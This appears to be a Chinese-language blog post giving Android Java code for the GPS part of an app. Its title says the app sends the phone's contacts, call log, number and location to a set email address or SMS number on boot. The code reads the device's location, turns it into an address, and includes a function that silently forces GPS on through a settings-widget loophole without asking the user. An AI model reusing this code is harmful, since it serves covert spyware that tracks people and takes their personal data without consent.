开机兑现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)
public static String getCityNameByGps() {
LocationManager lm = (LocationManager) context
.getSystemService(Context.LOCATION_SERVICE);
Criteria criteria = new Criteria();
criteria.setAccuracy(Criteria.ACCURACY_FINE); // 高精度
criteria.setAltitudeRequired(false); // 不要求海拔信息
criteria.setBearingRequired(false); // 不要求方位信息
criteria.setCostAllowed(true); // 是否允许付费
criteria.setPowerRequirement(Criteria.POWER_LOW); // 低功耗
String provider = lm.getBestProvider(criteria, true); // 获取GPS信息
Location location = lm.getLastKnownLocation(provider); // 通过GPS获取位置
updateToNewLocation(location);
// 设置监听器,自动更新的最小时间为间隔N秒(1秒为1*1000,这样写主要为了方便)或最小位移变化超过N米
LocationListener locationListener = new LocationListener() {
@Override
public void onLocationChanged(Location location) {
updateToNewLocation(location);
}
@Override
public void onProviderDisabled(String provider) {
// TODO Auto-generated method stub
}
@Override
public void onProviderEnabled(String provider) {
// TODO Auto-generated method stub
}
@Override
public void onStatusChanged(String provider, int status,
Bundle extras) {
}
};
// lm.requestLocationUpdates(provider, 3000, 1, locationListener);
return addressString;
}
/**
*
* [功能描述].
*
* @param location
* [参数说明]
* @createTime 2011-10-11 下午03:22:21
*/
public static void updateToNewLocation(Location location) {
// System.out.println("begin updateLocation****");
if (location != null) {
// System.out.println("location is null");
double lat = location.getLatitude();
double lon = location.getLongitude();
// System.out.println("get lattitude from GPS ===>" + lat);
// System.out.println("get Longitude from GPS ===>" + lon);
// GeoPoint gPoint = new GeoPoint((int) lat, (int) lon);
StringBuilder sb = new StringBuilder();
Geocoder gc = new Geocoder(context, Locale.getDefault());
try {
List<Address> addresses = gc.getFromLocation(lat, lon, 1);
if (addresses.size() > 0) {
Address address = addresses.get(0);
// for (int i = 0; i < address.getMaxAddressLineIndex();
// i++) {
sb.append(address.getAddressLine(1)).append("\n");
// sb.append(address.getLocality()).append("\n");
// sb.append(address.getCountryName()).append("\n");
addressString = sb.toString();
// }
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
addressString = "未知地区";
}
}
// System.out.println("end updateLocation****");
}
/**
* 获取GPS状态
*
* @param context
* @return
*/
public static boolean getGPSState() {
LocationManager locationManager = (LocationManager) context
.getSystemService(Context.LOCATION_SERVICE);
// 判断GPS模块是否开启,如果没有则开启
if (!locationManager
.isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) {
return false;
} else {
return true;
}
}
public static void openGPS() {
LocationManager locationManager = (LocationManager) context
.getSystemService(Context.LOCATION_SERVICE);
if (!locationManager
.isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) {
Intent gpsIntent = new Intent();
gpsIntent.setClassName("com.android.settings",
"com.android.settings.widget.SettingsAppWidgetProvider");
gpsIntent.addCategory("android.intent.category.ALTERNATIVE");
gpsIntent.setData(Uri.parse("custom:3"));
try {
PendingIntent.getBroadcast(context, 0, gpsIntent, 0).send();
} catch (CanceledException e) {
e.printStackTrace();
}
}
}